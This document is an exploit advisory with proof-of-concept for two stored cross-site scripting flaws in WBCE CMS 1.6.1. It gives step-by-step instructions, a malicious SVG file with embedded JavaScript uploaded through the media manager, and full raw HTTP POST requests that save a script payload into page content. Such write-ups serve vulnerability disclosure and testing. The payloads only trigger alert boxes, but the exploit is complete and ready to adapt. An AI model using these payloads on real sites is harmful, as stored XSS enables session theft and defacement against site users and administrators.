WBCE CMS 1.6.1 Cross Site Scripting

`Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)  
Version: 1.6.1  
Bugs: XSS  
Technology: PHP  
Vendor URL: https://wbce-cms.org/  
Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1  
Date of found: 03-05-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
###XSS-1###  
steps:   
  
1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/)  
2. upload malicious svg file  
  
svg file content ===>  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
  
  
poc request:  
  
POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1  
Host: localhost  
Content-Length: 976  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-platform: "Linux"  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO  
Accept: */*  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167  
Connection: close  
  
------WebKitFormBoundary5u4r3pOGl4EnuBtO  
Content-Disposition: form-data; name="reqid"  
  
187de34ea92ac  
------WebKitFormBoundary5u4r3pOGl4EnuBtO  
Content-Disposition: form-data; name="cmd"  
  
upload  
------WebKitFormBoundary5u4r3pOGl4EnuBtO  
Content-Disposition: form-data; name="target"  
  
l1_Lw  
------WebKitFormBoundary5u4r3pOGl4EnuBtO  
Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
------WebKitFormBoundary5u4r3pOGl4EnuBtO  
Content-Disposition: form-data; name="mtime[]"  
  
1683056102  
------WebKitFormBoundary5u4r3pOGl4EnuBtO--  
  
  
3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg)  
  
  
  
========================================================================================================================  
  
###XSS-2###  
  
1. go to pages (http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages)  
2. add page  
3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E)  
payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E  
poc request:  
  
POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1  
Host: localhost  
Content-Length: 143  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475  
Connection: close  
  
page_id=4&section_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save  
  
  
4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php  
  
`